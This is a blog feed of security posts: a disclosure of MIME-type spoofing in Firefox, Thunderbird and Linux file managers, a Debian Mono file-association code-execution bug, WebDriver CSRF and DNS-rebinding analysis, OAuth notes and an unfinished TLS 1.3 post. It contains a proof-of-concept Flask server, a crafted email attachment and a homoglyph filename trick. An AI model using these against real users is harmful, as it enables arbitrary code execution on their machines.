{"version": "https://jsonfeed.org/version/1", "title": "/dev/posts/ - Tag index - web", "home_page_url": "https://www.gabriel.urdhr.fr", "feed_url": "/tags/web/feed.json", "items": [{"id": "http://www.gabriel.urdhr.fr/2023/03/07/mime-type-spoofing/", "title": "MIME-type spoofing in Firefox/Thunderbird and file managers", "url": "https://www.gabriel.urdhr.fr/2023/03/07/mime-type-spoofing/", "date_published": "2023-03-07T00:00:00+01:00", "date_modified": "2023-03-07T00:00:00+01:00", "tags": ["computer", "web", "security", "vulnerability", "firefox", "freedesktop", "thunderbird"], "content_html": "
An interesting spoofing attack\nresulting from the interaction\nbetween Firefox (or Thunderbird)\nMIME types handling and file managers.
\nOn Firefox and Thunderbird, a user interface is used to let the user\nconfirm which program to use to open the file.\nBy using special Freedesktop MIME types\n(such as inode/directory
or x-scheme-handler/trash
),\na remote attacker can trick the user into thinking he is about to open a file\nwith a innocuous program (a file manager).\nHowever, when called this way,\nseveral file managers will try to call another program\nto handle the file\nwhich might result in the execution of another program.\nDepending on the program used,\nthis might be used to trigger arbitrary code execution\n(eg. using Mono to trigger arbitrary code execution).
Thunar, PCManFM, PCManFM-Qt were found to exhibit this behavior.
\nWe can use a visually confusable file name\nsuch as REPORT.\u03a1DF (notice the non-ASCII first letter in the extension) in order to trick the user\ninto thinking he is opening a \"safe\" file type while disabling MIME-type\ndetection based on the file name extension.
\nMoreover, in Firefox and Thunderbird, we can corrupt the file\nassociation database (handlers.json)\nin order to display a bogus file\ntype description associated with the inode/directory or x-scheme-\nhandler/trash MIME type. This is done by first serving a \"safe\" file\ntype (such as a PDF) with this MIME type.
\nVulnerabilities:
\ninode/*
, x-scheme-handler/*
);Attack scenario:
\ninode/directory
MIME type;pcmanfm ~/Downloads/REPORT.\u03a1DF
);application/x-ms-dos-executable
)mono ~/Downloads/REPORT.\u03a1DF
);Found on:
\nFirefox accepts special Freedesktop MIME types\n(such as inode/*
and x-scheme-handler/*
)\nin Content-Type
HTTP response headers\nand use them to choose which program to use to open the files.\nThis can be used to let Firefox suggest using file managers to open these files.\nWhen combined with vulnerabilities in some file managers,\nthis can be used to trick the user into opening the file with dangerous programs.
Similarly, Thunderbird accepts special Freedesktop MIME types\nin Content-Type
e-mail headers.
This has been reported in Mozilla bug 1702821.
\nIn addition, the Firefox/Thunderbird file type association database (handlers.json
)\ncan be manipulated by a remote attacker to associate a bogus file type description\nto unknown MIME types.\nThis can be used to make it more difficult for the user to detect the attack.
This has been reported in Mozilla bug 1702821.
\nWhen called with a regular file as a CLI argument,\nThunar would try to determine its file type based on its file extension or content (magic bytes)\nand call any program associated with this file type.\nCombined with the Firefox/Thunderbird issue,\nthis can be used to trick the used into opening\na malicious file with an unintended program.\nThis could result on arbitrary code execution.
\nThis is CVE-2021-32563.
\nThis is fixed\nin Thunar 4.16.7 and 4.17.2.\nWhen called with a regular file,\nThunar now opens the containing directory and selects the file\ninstead of automatically calling another program to handle the file.\nThe fix introduced a regression\nwhich is fixed\nin 4.16.8 and 4.17.3.
\nWhen called with a regular file as a CLI argument,\nPCManFM would try to determine its file type based on its file extension or content (magic bytes)\nand call any program associated with this file type.
\nThis has been reported to the maintainers and submited later on\nas feature request 436.
\nWhen called with a regular file as a CLI argument,\nPCManFM-Qt would try to determine its file type based on its file extension or content (magic bytes)\nand call any program associated with this file type.
\nThis issue has been reported but this is not considered a vulnerability by the authors\n(I disagree with this but I get it).\nNo fix has been implemented.
\ninode/directory
See the video of the basic exaple using Firefox.
\nProof of concept HTTP server:
\n#!/usr/bin/python3\n\nfrom xml.sax.saxutils import escape\nfrom flask import Flask, request, make_response\n\ndef xmlescape(data):\n return escape(data, entities={\n \"'\": \"'\",\n \"\\\"\": \""\"\n })\n\napp = Flask(__name__)\n\n\n# A standard PDF:\n@app.route(\"/report.pdf\")\ndef pdf_as_directory():\n data = open(\"test.pdf\", \"rb\").read()\n response = make_response(data)\n response.content_type = \"inode/directory\"\n return response\n\n\n# Some malicious CLR/.NET payload:\n@app.route(\"/REPORT.\u03a1DF\")\ndef directory_route_exe_as_pdf():\n data = open(\"test.exe\", \"rb\").read()\n response = make_response(data)\n response.content_type = \"inode/directory\"\n return response\n\n\nresources = [\n \"/report.pdf\",\n \"/REPORT.\u03a1DF\",\n]\n\n\n@app.route(\"/\")\ndef home():\n html = \"<meta charset='utf8'><ul>\" + \"\".join([\n f\"<li><a href='{xmlescape(resource)}'>{xmlescape(resource)}</a></li>\"\n for resource in resources\n ])+ \"</ul>\"\n response = make_response(html)\n response.content_type = \"text/html\"\n return response\n
\nLet us see what happens under the hood:
\n\nThe malicious HTTP server serves /REPORT.\u03a1DF
file with inode/directory
.\nThis special MIME type is used by Freedesktop\nto represent directories.\nFile managers usually associates themselves with this special MIME type:
[Desktop Entry]\nVersion=1.0\nType=Application\nExec=exo-open --launch FileManager %u\nIcon=org.xfce.filemanager\nStartupNotify=true\nTerminal=false\nCategories=Utility;X-XFCE;X-Xfce-Toplevel;\nOnlyShowIn=XFCE;\nX-XFCE-MimeType=inode/directory;x-scheme-handler/trash;\nX-AppStream-Ignore=True\n
\nBecause of this Content-Type
, Firefox is going to propose opening the file\nwith a file manager such as Thunar, PCManFM, PCManFM-Qt, Dolphin, etc.
If the user chooses \"OK\", the file is opened with the chosen file manager.\nWhen called with a regular file, many file managers try to find a suitable program\nto open the file based on its MIME type.\nThe file type is usually found using:
\nIn order to trick the user, into accepting our file we used REPORT.\u03a1DF as a file name.\nThe file extension should in theory take precedence over the content of the file for\ndeciding which file type is used.\nHowever, the first letter of our file name extension is actually not a P\nbut a greek capital letter rho (U+03A1).
\nBecause this is not a well-known file name extensions,\nthe MIME type is not infered from the file name extension\nbut from the content of the file (magic bytes).
\nThe file is actually not a PDF file but a .NET/CLR/Mono executable file.\nIn Debian, when Mono is installed these files are associated with the Mono interpreter\n(see the desktop files in appendix).\nThe file managers calls the mono
interpreter to open (actually execute) the file\nleading to arbitrary code execution on the machine.
The following file managers exbibit this behavior:
\nSee the video of the advanced attack using Firefox, with file type description spoofing.
\nYou might wonder why the Firefox UI is showing \u201cPortable File Document\u201d for the file served as inode/directory
.\nThis can be achieved by tricking Firefox into associating the \u201cPortable File Document\u201d\ndescription to the inode/directory
special MIME type.
In order to do with, we first serve the a valid PDF using Content-Type: inode/directory
\nto the user. After this, Firefox associates the \u201cPortable File Document\u201d label\nwith inode/directory
in handlers.json
:
{\n // ...\n \"mimeTypes\": {\n // ...\n \"inode/directory\": {\n \"action\": 4,\n \"extensions\": [\n \"pdf\"\n ],\n \"ask\": true\n },\n \"inode/directory\": {\n \"action\": 2,\n \"extensions\": [\n \"pdf\"\n ],\n \"handlers\": [\n {\n \"name\": \"Gestionnaire de fichiers Thunar\",\n \"path\": \"/usr/bin/thunar\"\n },\n {\n \"name\": \"Gestionnaire de fichiers PCManFM\",\n \"path\": \"/usr/bin/pcmanfm\"\n }\n ],\n \"ask\": true\n }\n }\n // ...\n}\n
\nThis can be seen in user interface as well:
\n\nThe video\nshows that the label associated with inode/directory
\nchanges changes from \u201cdirectory\u201d to \u201cPortable Document Format\u201d\nafter the user opens a valid PDF file served with the inode/directory
Content-Type
.
x-scheme-handler/trash
The same behavior happens with x-scheme-handler/trash
.\nThis is used to associated the trash:
URI scheme (user tash) with file managers.
See the video of the basic example using Thunderbird.
\nThe same kind of behavior can be achieved using Thunderbird.
\nTo: Bob <bob@example.com>\nFrom: Alice <alice@example.com>\nSubject: Test\nMessage-ID: <9d3781d2-b165-4bf8-99ec-7f9c56372f52@example.com>\nDate: Thu, 13 May 2021 09:05:40 +0200\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101\n Thunderbird/78.10.0\nMIME-Version: 1.0\nContent-Type: multipart/mixed;\n boundary=\"------------99C154C06B53866E3351CA8D\"\nContent-Language: en-US\n\nThis is a multi-part message in MIME format.\n--------------99C154C06B53866E3351CA8D\nContent-Type: text/plain; charset=utf-8\nContent-Transfer-Encoding: 7bit\n\n\n\n--------------99C154C06B53866E3351CA8D\nContent-Type: inode/directory\nContent-Transfer-Encoding: base64\nContent-Disposition: attachment;\n filename=\"test.\u03a1DF\"\n\nTVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g\nRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAAAAAAAAAAAAAAAAAOAAAgELAQgAAAQAAAAG\nAAAAAAAAjiMAAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAA\n...\n
\n\nClient applications such as web browsers and email client should probably\nignore these special MIME types in Content-Type
headers (or similar fields)\nwhen choosing which program to use to open a file.\nThese MIME types are not expected to be found in this context and do not make sense in this case.\nThe presence of these special MIME types in HTTP or e-mail Content-Type
headers\nshould be considered an attempt at a spoofing attack.
File managers should not delegate to other programs when called with a regular file as a CLI argument.\nOther commands exist for this purpose (xdg-open
, exo-open
, etc.).
I do not believe that the user expects thunar hello.exe
\nto actually execute the program (especially without confirmation).\nI would expect this command to open a file manager window\nin the parent directory instead and possibly pre-select the file.
Note that another exploitations of this type of behavior\nhas been disclosed recently.
\nSome file managers have a more secure behavior\nwhen invoked with a regular file as argument:
\nIt is dangerous for program to associate themselves with file types\nif opening these file can lead to arbitrary code execution without confirmation.\nPrograms which can trigger arbitrary code execution when opening files\nshould probably implement some confirmation when invoked through file type association.
\nThe Freedesktop specifications should probably warn about this.
\nIf you are using Firefox,\nyou might want to check that Firefox is configured to save downloaded file\ninstead of opening them directly.
\n\nxfce4-file-manager.desktop
:
[Desktop Entry]\nVersion=1.0\nType=Application\nExec=exo-open --launch FileManager %u\nIcon=org.xfce.filemanager\nStartupNotify=true\nTerminal=false\nCategories=Utility;X-XFCE;X-Xfce-Toplevel;\nOnlyShowIn=XFCE;\nX-XFCE-MimeType=inode/directory;x-scheme-handler/trash;\nX-AppStream-Ignore=True\n
\nthunar.destop
:
[Desktop Entry]\nName=Thunar File Manager\nComment=Browse the filesystem with the file manager\nExec=thunar %F\nIcon=org.xfce.thunar\nTerminal=false\nStartupNotify=true\nType=Application\nMimeType=inode/directory\n
\npcmanfm.desktop
:
[Desktop Entry]\nType=Application\nIcon=system-file-manager\nName=File Manager PCManFM\nGenericName=File Manager\nComment=Browse the file system and manage the file\nCategories=System;FileTools;FileManager;Utility;Core;GTK;\nExec=pcmanfm %U\nStartupNotify=true\nTerminal=false\nMimeType=inode/directory;\n
\npcmanfm-qt.desktop
:
[Desktop Entry]\nType=Application\nName=PCManFM-Qt File Manager\nGenericName=File Manager\nComment=Browse the file system and manage the files\nExec=pcmanfm-qt %U\nMimeType=inode/directory;\nIcon=system-file-manager\nCategories=FileManager;Utility;Core;Qt;\nStartupNotify=true\n
\nmono-runtime-common.desktop
:
[Desktop Entry]\nName=Mono Runtime\nExec=mono\nTerminal=false\nType=Application\nIcon=mono-runtime-common\nMimeType=application/x-ms-dos-executable;\nNoDisplay=true\n
\n"}, {"id": "http://www.gabriel.urdhr.fr/2023/02/28/rce-file-association-debian-mono/", "title": "Code execution through MIME-type association of Mono interpreter", "url": "https://www.gabriel.urdhr.fr/2023/02/28/rce-file-association-debian-mono/", "date_published": "2023-02-28T00:00:00+01:00", "date_modified": "2023-02-28T00:00:00+01:00", "tags": ["computer", "web", "security", "vulnerability", "debian", "freedesktop", "mono"], "content_html": "A dangerous file type association in Debian\nwhich could be used to trigger arbitrary code execution.
\nOn Debian and derivatives,\nthe mono-runtime-common package associates\nthe application/x-ms-dos-executable
MIME type with the\nMono CLR/.NET interpreter:
[Desktop Entry]\nName=Mono Runtime\nExec=mono\nTerminal=false\nType=Application\nIcon=mono-runtime-common\nMimeType=application/x-ms-dos-executable;\nNoDisplay=true\n
\nOpening such a file results in execution of the .exe
code by mono
.\nThis makes it very easy for an attacker to trigger\narbitrary code execution\nthrough programs such as\nChromium,\nFirefox\n(through a malicious HTTP resource)\nand Thunderbird\n(through a malicious email attachment)\nwhen the Mono packages are installed.
This has been reported as Debian bug 972146\n(not by me)\nand has been assigned CVE-2023-26314\nand DLA-3343-1.
\nDistribution | \nFixed in package | \n
---|---|
Debian 10 (Buster) | \n5.18.0.240+dfsg-3+deb10u1 | \n
Debian 11 (Bulleseye) | \nN/A (vulnerable) | \n
Debian Testing/Sid | \n6.8.0.105+dfsg-3.3 | \n
Ubuntu 18.04 (Bionic) | \nN/A (vulnerable) | \n
Ubuntu 20.04 (Focal) | \nN/A (vulnerable) | \n
Ubuntu 22.10 (Kinetic) | \nN/A (vulnerable) | \n
Ubuntu 23.04 (Lunar) | \n6.8.0.105+dfsg-3.3 | \n
If you need a simple C# payload, you can use something like this:
\nusing System;\nusing System.Diagnostics;\n\nnamespace App\n{\n public class App\n {\n public static void Main(string[] args)\n {\n Process cmd = new Process();\n cmd.StartInfo.FileName = \"xterm\";\n cmd.StartInfo.Arguments = \"-e /bin/bash -l -c nyancat\";\n cmd.Start();\n }\n }\n}\n
\nWhich can be used:
\n# Compile the program:\nmcs test.cs\n\n# Test it is actually executing:\nmono test.exe\n
\n"}, {"id": "http://www.gabriel.urdhr.fr/2023/02/06/oauth2-diagrams/", "title": "OAuth 2.x and OpenID Connect sequence diagrams", "url": "https://www.gabriel.urdhr.fr/2023/02/06/oauth2-diagrams/", "date_published": "2023-02-06T00:00:00+01:00", "date_modified": "2023-02-06T00:00:00+01:00", "tags": ["computer", "protocol", "web", "security", "oauth", "openid-connect"], "content_html": "Some sequence diagrams about OAuth 2.x and OpenID Connect.
\nSome sequence diagrams of OAuth 2.X and OpenID Connect.\nThey provide an overview/summary/roadmap of several OAuth and OpenID Connect (OIDC) specifications.\nLook at the specifications and other references for details.
\nFlow | \nInitial Request | \n
---|---|
Authorization code flow | \nfrontchannel GET/POST authorization_endpoint (response_type=code) | \n
Implicit flow | \nfrontchannel GET/POST authorization_endpoint (response_type=token) | \n
Device flow | \nbackchannel POST device_authorization_endpoint | \n
Client credential flow | \nbackchannel POST token_endpoint (grant_type=client_credentials) | \n
Resource Owner password grant | \nbackchannel POST token_endpoint (grant_type=password) | \n
Assertion authorization grants | \nbackchannel POST token_endpoint (grant_type=some assertion type) | \n
Warning: user-agent for authorization server frontend code
\nNative client applications, should use an external user-agent\nfor the authorization server frontend code\ni.e. either a standalone browser\nor an in-app browser tab.\n(such as Android Custom Tab,\niOS ASWebAuthenticationSession\nor cordova-plugin-browsertab).
\nIt should not use an embedded / in-app browser\nto execute the authorization server frontend logic\n(WebView, Cordova InAppBrowser).
\nIn-app browser executes the authorization server frontend code in the system/user browser\nwhile the in-app browser tab executes the authorization server frontend code in the client application.\nIn the first case, the user credentials are isolated from the client application.
\nSome extensions:
\nNote: lack of support for refresh tokens for some flows
\nRefresh tokens are NOT supported for the implicit[1] flow and\nfor the client credentials flow.
\nNot represented here:
\nThe following approaches may be used (or combined) to protect the privacy\nand/or integrity of the authorization request.
\n\n\nFlow | \nresponse_type | \nnonce | \nc_hash | \nat_hash | \n...rt_hash | \n
---|---|---|---|---|---|
Authorization code flow | \ncode | \nOPTIONAL | \nOPTIONAL | \nOPTIONAL | \nN/A | \n
Implicit flow | \nid_token token | \nREQUIRED | \nOPTIONAL | \nREQUIRED | \nN/A | \n
\n | id_token | \nREQUIRED | \nOPTIONAL | \nOPTIONAL | \nN/A | \n
Hybrid flow | \ncode id_token | \nREQUIRED | \nREQUIRED[3] | \nREQUIRED[3:1] | \nN/A | \n
\n | code token | \nREQUIRED | \nOPTIONAL | \nOPTIONAL | \nN/A | \n
\n | code id_token token | \nREQUIRED | \nREQUIRED[3:2] | \nREQUIRED[3:3] | \nN/A | \n
CIBA push mode | \nN/A | \nN/A | \nN/A | \nREQUIRED | \nREQUIRED[4] | \n
CIBA other modes | \nN/A | \nN/A | \nN/A | \nOPTIONAL | \nOPTIONAL | \n
Note: at_hash
and c_hash
claims
The at_hash
\nand c_hash
\nclaims contain half\nof the hash of the access_token
\nand code
respectively.\nThe former is required in both implicit and hybrid flows.\nThe latter is required in the ID token returned by the authorization endpoint in the hybrid flow.\nThey protect against\naccess token and authorization code substitution attacks\nrespectively..
Note: two iframes
\nThe specification mentions two <iframe>
.\nBut as far as I understand, the Relying party <iframe>
\nis not stricly absolutely necessary\nand is only an implementation detail.
Name | \nFlow | \nContent | \n
---|---|---|
Authorization code (code ) | \nAS \u2192 client \u2192 AS | \nopaque | \n
Access Token (access_token ) | \nAS \u2192 client \u2192 RS | \nopaque (may be a JWT, at+jwt ) | \n
Refresh token (refresh_token ) | \nAS \u2192 client \u2192 AS | \nopaque (sometimes a JWT) | \n
JWT-Secured Authz. Request (JAR) (request ) | \nclient \u2192 AS | \nJWT (oauth-authz-req+jwt ) | \n
JWT-Secured Authz. Response Mode (JARM) | \nAS \u2192 client | \nJWT | \n
JWT response for Token Introspection | \nAS \u2192 RS | \nJWT (token-introspection+jwt ) | \n
DPoP Proof-of-possession (DPoP: ) | \nclient \u2192 AS / RS | \nJWT (dpop+jwt ) | \n
Software Statement (software_statement ) | \nclient vendor \u2192 client \u2192 AS | \nJWT | \n
Authorization or Logout State (state ) | \nclient \u2192 AS \u2192 client | \nopaque | \n
PKCE Code Verifier (code_verifier ) | \nclient \u2192 AS | \nopaque (random) | \n
PKCE Code Challenge (code_challenge ) | \nclient \u2192 AS | \nhash of the code verifier (base64url) | \n
OIDC ID token (id_token ) | \nOP (AS) \u2192 client (\u2192 AS) | \nJWT | \n
OIDC Nonce (nonce ) | \nclient \u2192 AS \u2192 client | \nopaque | \n
OIDC Session ID (sid ) | \nAS \u2192 client \u2192 AS | \nopaque | \n
OIDC Session State (session_state ) | \nOP (AS) \u2192 client | \nopaque | \n
OIDC private_key_jwt and client_secret_jwt client authentication (\tclient_assertion ) | \nclient \u2192 OP / AS | \nJWT | \n
Keycloak is an Apache-licensed\nIdentity and Access Management (IAM) software.\nWe can quickly spawn a local instance\nin a container\nin order to experiment with OAuth and OpenID Connect:
\npodman run --name keycloak -p 127.0.0.1:8080:8080\\\n -e KEYCLOAK_ADMIN=admin \\\n -e KEYCLOAK_ADMIN_PASSWORD=change_me \\\n quay.io/keycloak/keycloak:20.0.1 start-dev\n
\nA different port can be used:
\npodman run --name keycloak -p 127.0.0.1:3000:3000 \\\n -e KEYCLOAK_ADMIN=admin \\\n -e KEYCLOAK_ADMIN_PASSWORD=change_me \\\n quay.io/keycloak/keycloak:20.0.1 start-dev --hostname-port=3000 --http-port=3000\n
\nSome interesting Docker/Podman arguments:
\n-v keycloak:/opt/keycloak/data
Some interesting KeyCloak arguments:
\n--features=declarative-user-profile,par,token-exchange,ciba,impersonation,step-up-authentication
, add featuresInteresting endpoints:
\n/admin/
, administration user interface (create new users, realms, configure client applications);/realms/master/account
, user interface to login to the master
realm;/realms/master/.well-known/openid-configuration
, metadata for the master
realm.The Keycloak web site hosts a simple test OpenID connect client\nwhich can be used to test the OIDC provider.
\nSee as well:
\n\nIANA registries:
\nLists of specifications:
\n\nInformational:
\nExamples of Server Metadata:
\nmicrosoft.com
is the tenant ID for Mictosoft itselfOther:
\n\nSee \u201cWhy in implicit grant flow , the auth server MUST NOT issue a refresh token\u201d\nfor why the refresh token is not supported in the implicit flow. \u21a9\ufe0e
\nThe password flow is very insecure\nbecause the user password is given to the OAuth client.\nMoreover this flow only support password-based user authentication. \u21a9\ufe0e
\nThe c_hash
and at_hash
claims are REQUIRED in the id_token
\nreturned as part of the authentication response\n(when the corresponding value is present as well).\nThey are OPTIONAL (when relevant) in the id_token
returned in the Access Token Response. \u21a9\ufe0e \u21a9\ufe0e \u21a9\ufe0e \u21a9\ufe0e
If a refresh_token
is sent. \u21a9\ufe0e
Some context and analysis about attacks on\nin WebDriver implementations.
\nReferences | \nType | \nAffected Component | \nImpact | \n
---|---|---|---|
CVE-2020-15660, Bug 1648964 | \nCSRF | \ngeckodriver | \nRemote Code Execution | \n
CVE-2022-28108 | \nCSRF | \nSelenium server | \nRemote Code Execution | \n
Bug 1100097 | \nCross-origin/same-site request forgery | \nchromedriver | \nRemote Code Execution | \n
CVE-2021-4138, Bug 1652612 | \nDNS rebinding | \ngeckodriver | \nRemote Code Execution | \n
CVE-2022-28109 | \nDNS rebinding | \nSelenium server | \nRemote Code Execution | \n
I wanted to try Zed Attack Proxy (ZAP)\nfor checking the vulnerability of web sites and services.
\nZAP is (among other things) a meddler-in-the-middle (MITM) proxy server.\nIt sits between your web browser and the web sites you want to test\nand captures all the HTTP and WebSocket traffic between the browser and web sites.\nYou can display it is a nice table for further analysis.\nYou can then replay a request, modify the request.\nIt can as well intercept requests and responses and let you modify them on the fly.\nFor this to work for HTTPS web sites, the browser must be configured\nto accept a local Certificate Authority (CA) generated by ZAP.
\nOne way to proceed is to manually configure the browser to use ZAP as a proxy\nand manually add ZAP CA. Another approach it to let ZAP spawn a fresh browser\ninstance which is automatically configured and somewhat controlled by ZAP:
\n\nIn order to do this, ZAP relies\non Selenium libraries which itself relies on\nthe WebDriver protocol.
\nMy initial goal was to understand how the communication between ZAP\nand the browser works and whether an attacker could possibly attack\nthe user through this channel.
\nWebDriver is a HTTP-based JSON-based W3C-standard protocol\nfor browser automation.\nIn all browsers, WebDriver protocol support is not implemented\nin the browser itself. Instead, the browser implements a native/proprietary\nautomation/debugging protocol and a separate program translates\nbetween the native protocol and the standard WebDriver protocol.
\n\nWebDriver WebDriver server Browser\n client (bridge) |\n | | |\n v v v\n[...]-------->[geckodriver]-------->[firefox]\n ^ ^\n | |\n WebDriver Marionette\n protocol protocol\n\nWebDriver WebDriver server Browser\n client (bridge) |\n | | |\n v v v\n[...]-------->[chromedriver]-------->[Chrome]\n ^ ^\n | |\n WebDriver Chrome DevTools\n protocol protocol\n\n
Here we are focusing on attacks based on the WebDriver protocol.
\nNote: WebDriver bidi
\nA new specification, WebDriver bidi,\nextending WebDriver for bidirectional communication\nis being worked on.
\nFor Firefox, geckodriver is implementing the WebDriver protocol.\nWhen run (geckodriver
), it listens by default on 127.0.0.1:4444.\nWe can then create a WebDriver session with:
curl -X POST http://localhost:4444/session \\\n -H\"Content-Type: application/json\" \\\n -d'{\"capabilities\":{}}'\n
\nUpon receiving this request geckodriver
spawns a Firefox instance as:
firefox-esr -marionette -foreground -no-remote \\\n -profile /tmp/rust_mozprofilenpAkba\n
\nThe -marionette
flag asks Firefox to listen to automation commands using\nits native protocol, Marionette[1]. By default, Firefox listens\non localhost only.
The WebDriver server answers with a body like:
\n{\"value\":{\n \"sessionId\":\"f5543763-25d3-40f9-b7e1-f9304357fb49\",\n \"capabilities\":{\n \"acceptInsecureCerts\":false,\n \"browserName\":\"firefox\",\n \"browserVersion\":\"68.10.0\",\n \"moz:accessibilityChecks\":false,\n \"moz:buildID\":\"20200622191537\",\n \"moz:geckodriverVersion\":\"0.26.0\",\n \"moz:headless\":false,\n \"moz:processID\":3099,\n \"moz:profile\":\"/tmp/rust_mozprofilenpAkba\",\n \"moz:shutdownTimeout\":60000,\n \"moz:useNonSpecCompliantPointerOrigin\":false,\n \"moz:webdriverClick\":true,\n \"pageLoadStrategy\":\"normal\",\n \"platformName\":\"linux\",\n \"platformVersion\":\"4.19.0-9-amd64\",\n \"rotatable\":false,\n \"setWindowRect\":true,\n \"strictFileInteractability\":false,\n \"timeouts\":{\n \"implicit\":0,\n \"pageLoad\":300000,\n \"script\":30000\n },\n \"unhandledPromptBehavior\":\"dismiss and notify\"\n }\n}}\n
\nThe sessionId
parameter identifies the session and will be used\nto control the WebDriver session.
We can now for example ask the browser to navigate to a given URI with:
\ncurl -X POST \"http://localhost:4444/session/f5543763-25d3-40f9-b7e1-f9304357fb49/url\" \\\n -H\"Content-Type: application/json\" \\\n -d '{\"url\": \"https://www.gabriel.urdhr.fr/\"}'\n
\nGeckodriver only allows a single WebDriver session at given time.\nWhile an existing session is still present,\nit will refuse the creation of a new WebDriver session.
\nchromedriver
is the WebDriver implementation for Chromium.\nBy default, it listens on localhost only (127.0.0.1::9515
and [::1]:9515
).
When a session is created, it spawns a Chrome instance as:
\n/opt/google/chrome/chrome \\\n --disable-background-networking --disable-client-side-phishing-detection \\\n --disable-default-apps --disable-hang-monitor --disable-popup-blocking \\\n --disable-prompt-on-repost --disable-sync --enable-automation \\\n --enable-blink-features=ShadowDOMV0 --enable-logging \\\n --load-extension=/tmp/.org.chromium.Chromium.1IEzDp/internal --log-level=0 \\\n --no-first-run --password-store=basic --remote-debugging-port=0 \\\n --test-type=webdriver --use-mock-keychain \\\n --user-data-dir=/tmp/.org.chromium.Chromium.NU3KFK data:,\n
\nThe -remote-debugging-port=0
argument makes Chrome listen using its native\nautomation/debugging protocol,\nChrome DevTools Protocol (CDP).\nWhen the value 0
is used, Chrome chooses the port by itself.\nChrome listens on 127.0.0.1
only.
The WebDriver protocol is that it is based on HTTP.\nMoreover, none of the existing implementations support any form of authentication[2].\nThe service is only accessible from the local machine (bound to localhost) by default\nin all implementations.\nThe security of the WebDriver service is solely based on\nthe fact that the service is not (directly) accessible from a remote attacker.
\nHere is an extract of the \u201csecurity\u201d section\nof the WebDriver specification:
\n\n\nTo prevent arbitrary machines on the network from connecting and creating sessions,\nit is suggested that only connections from loopback devices are allowed by default.
\nThe remote end can include a configuration option to limit the accepted\nIP range allowed to connect and make requests. The default setting for\nthis might be to limit connections to the IPv4 localhost CIDR range\n127.0.0.0/8 and the IPv6 localhost address ::1. [RFC4632]
\n
Two classes of vulnerabilities are very often\nfound in local-services which are only secured by the fact\nthat they are not accessible by remote attackers[3]:
\nThe idea of these two types of attacks is the same:\na malicious web site tricks the user browser\ninto issuing requests to the vulnerable service.\nThe service is not directly accessible by the\nremote attacker but is potentially indirectly accessible\nthrough the user browser.
\nThree different WebDriver implementations\nwere vulnerabilities to browser-mediated attacks:
\nIn all cases, this could be used by a malicious website for arbitrary code execution.
\nIn the case of chromedriver however, CSRF attacks were previously possible.\nCurrently, the attack is only possible in cross-origin/same-site\nso the impact is very limited. As we have seen local users can already attack the service directly.\nA remote attacker would have to exploit another vulnerability in another localhost-bound\norigin in order be able to exploit the vulnerability.
\nIn the case of Geckodriver, the exposure is limited by the fact that only a single session\ncan be used at the same time per geckodriver instance.\nFor example, when launched by ZAP, ZAP directly creates a session\nso the geckodriver instance is vulnerable for a very short duration.
\nI would argue that\nthese vulnerabilities are possible because of the weak security model of WebDriver instances\nwhich do not support any form of authentication.\nHowever both CSRF and DNS-rebinding attacks can be prevented\nwithout adding dedicated support for authentication in the implementations.
\nAnother security concern, is that any local user can access these services.\nAs we have seen, we can execute arbitrary commands over WebDriver for both geckodriver and\nchromedriver. This means that running geckodriver or chromedriver gives a way\nfor any other local user to execute arbitrary commands on our behalf.
\nSome solutions to solve both browser-based attacks and local-user attacks would be:
\nPF_UNIX
socket[4].The WebDriver specification\nshould probably:
\nContent-Type
of WebDriver requests (as a simple way to prevent CSRF attacks).More generally, many debugging interfaces allow remote code execution\n(often by design) but often lack any form of authentication.\nSome are web-based and may be vulnerable to CSRF and/or DNS-rebinding attacks.\nProtection against local users is usually not considered an issue.\nFor example:
\ngdbserver
may listen on a TCP port but does not support any form of authentication;-Xdebug -Xrunjdwp:transport=dt_socket,address=8888,server=y
) without any authentication.This is a JSON-based Remote Procedure call (RPC) protocol. In contrast to the WebDriver protocol,\nit is not based on HTTP. Message framing is done by prefixing\neach message by its length (eg. 81:[0,1,\"WebDriver:NewSession\",{\"acceptInsecureCerts\":true,\"browserName\":\"firefox\"}]
). \u21a9\ufe0e
Authentication is not mentionned in the WebDriver specification.\nWhile it would be theoretically possible to support HTTP-based\nauthentication, no implementataion (client or server)\nsupports this as far as I know. \u21a9\ufe0e
\nThis includes a lot of services exposed on the LAN by IoT devices,\nprinters, smart TVs, etc. and localhost-bound services of many applications.\nAs we have already seen, UPnP services are an intersesting example\nof this kind of services and many UPnP services are vulnerable to CSRF\nand DNS rebinding attacks. \u21a9\ufe0e
\nWe cannot reach PF_UNIX
sockets through CSRF or DNS rebinding.\nIn addition, we can prevent other local users from connecting to such a\nsocket. \u21a9\ufe0e
Some notes about how TLS v1.3 works.\nThis is a follow-up of the previous episode\nabout TLS v1.2.\nAs before, the goal is to have a high-level overview\nabout how the protocol works,\nwhat is the role of the different messages\nand be able to understand (and debug) a network traffic dump.
\nYou may want to check as well \u201cThe New Illustrated TLS Connection\u201d\nfor examples of the messages on the wire.
\nTLS v1.3 supports 3 types of key exchange methods.
\nThe DHE (ephemeral Diffie-Hellman) key exchange method is explained\nin the first section.\nThis methods is generally used when no session resumption is used.\nIt relies on an ephemeral Diffie-Hellman key exchange (for establishing a shared secret),\ndigital signatures (for authentication)\nand certificates (for conveying the static private keys used for authentication).
\nThe two other types of handshake (PSK psk_ke
and PSK-with-DHE psk_dhe_ke
)\nare explained in the second section.\nThey rely on an already established\nsecret between the client and the server, the pre-shared-secret (PSK).\nThe PSK may have been established in a previous TLS v1.3 handshake\nbetween the client and the server (session resumption).
The third section describes some additional features.
\nUpdate 2023-05-30:\nreorganized the section about PSK.
\nThe DHE handshake is based on\na (server-)authenticated ephemeral Diffie-Hellman key exchange:
\nClientHello
and ServerHello
messages)\nwhich is used to generate cryptographic material\n(such as encryption keys and MAC keys).\nThe same messages are used as well to\nnegotiate some parameters (TLS version, encryption algorithm, etc.).Because the Diffie-Hellman key exchange is done directly using the two first messages,\na shared secret is established directly after these messages\nand all the subsequent messages are encrypted.
\n\nNote: notations
\nNote: 1RTT
